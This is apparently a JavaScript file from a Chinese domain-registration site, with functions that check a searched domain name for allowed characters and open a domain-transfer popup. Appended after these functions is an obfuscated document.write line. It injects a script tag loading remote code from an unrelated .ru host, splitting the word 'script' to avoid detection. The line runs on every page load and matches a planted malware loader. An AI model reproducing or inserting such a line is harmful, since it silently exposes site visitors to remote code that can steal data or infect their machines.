
function CheckIfEnglish( String )
{ 
    var Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890-";
     var i;
     var c;
      if(String.charAt( 0 )=='-')
	return false;
      if( String.charAt( String.length - 1 ) == '-' )
          return false;
     for( i = 0; i < String.length; i ++ )
     {
          c = String.charAt( i );
	  if (Letters.indexOf( c ) < 0)
	     return false;
     }
     return true;
}
function submitchecken() {

	if (document.frmsearchInt.searchedDomainName.value == "") {
		alert("【提提你】\n\n请输入您要查询的英文域名。");
		document.frmsearchInt.searchedDomainName.focus();
		return false;
	}

if (!CheckIfEnglish(document.frmsearchInt.searchedDomainName.value )) {
		alert("【提醒您】\n\n在查询英文域名应输入英文不能输入中文及非法字符！");
		document.frmsearchInt.searchedDomainName.focus();
		return false;
	}
	document.frmsearchInt.searchType.value = "IntDomain";
	return true;
}

function trans() {
	var dtype;
	dtype="";
	if(document.chosedomain.suf_cn.checked == true) {
		dtype+="&suf_cn=.中国";
	}	
	if(document.chosedomain.suf_net.checked == true) {
		dtype+="&suf_net=.网络";
	}	
	if(document.chosedomain.suf_com.checked == true) {
		dtype+="&suf_com=.公司";
	}	

    window.open("http://202.108.32.93:8000/TransGeteway.jsp?domain="+document.chosedomain.domain.value+dtype,"chose","toolbar=no,location=no,directories=no,menubar=no,resizable=no,width=600,height=300");

}





document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Megabyte.js"></scri'+'pt>');
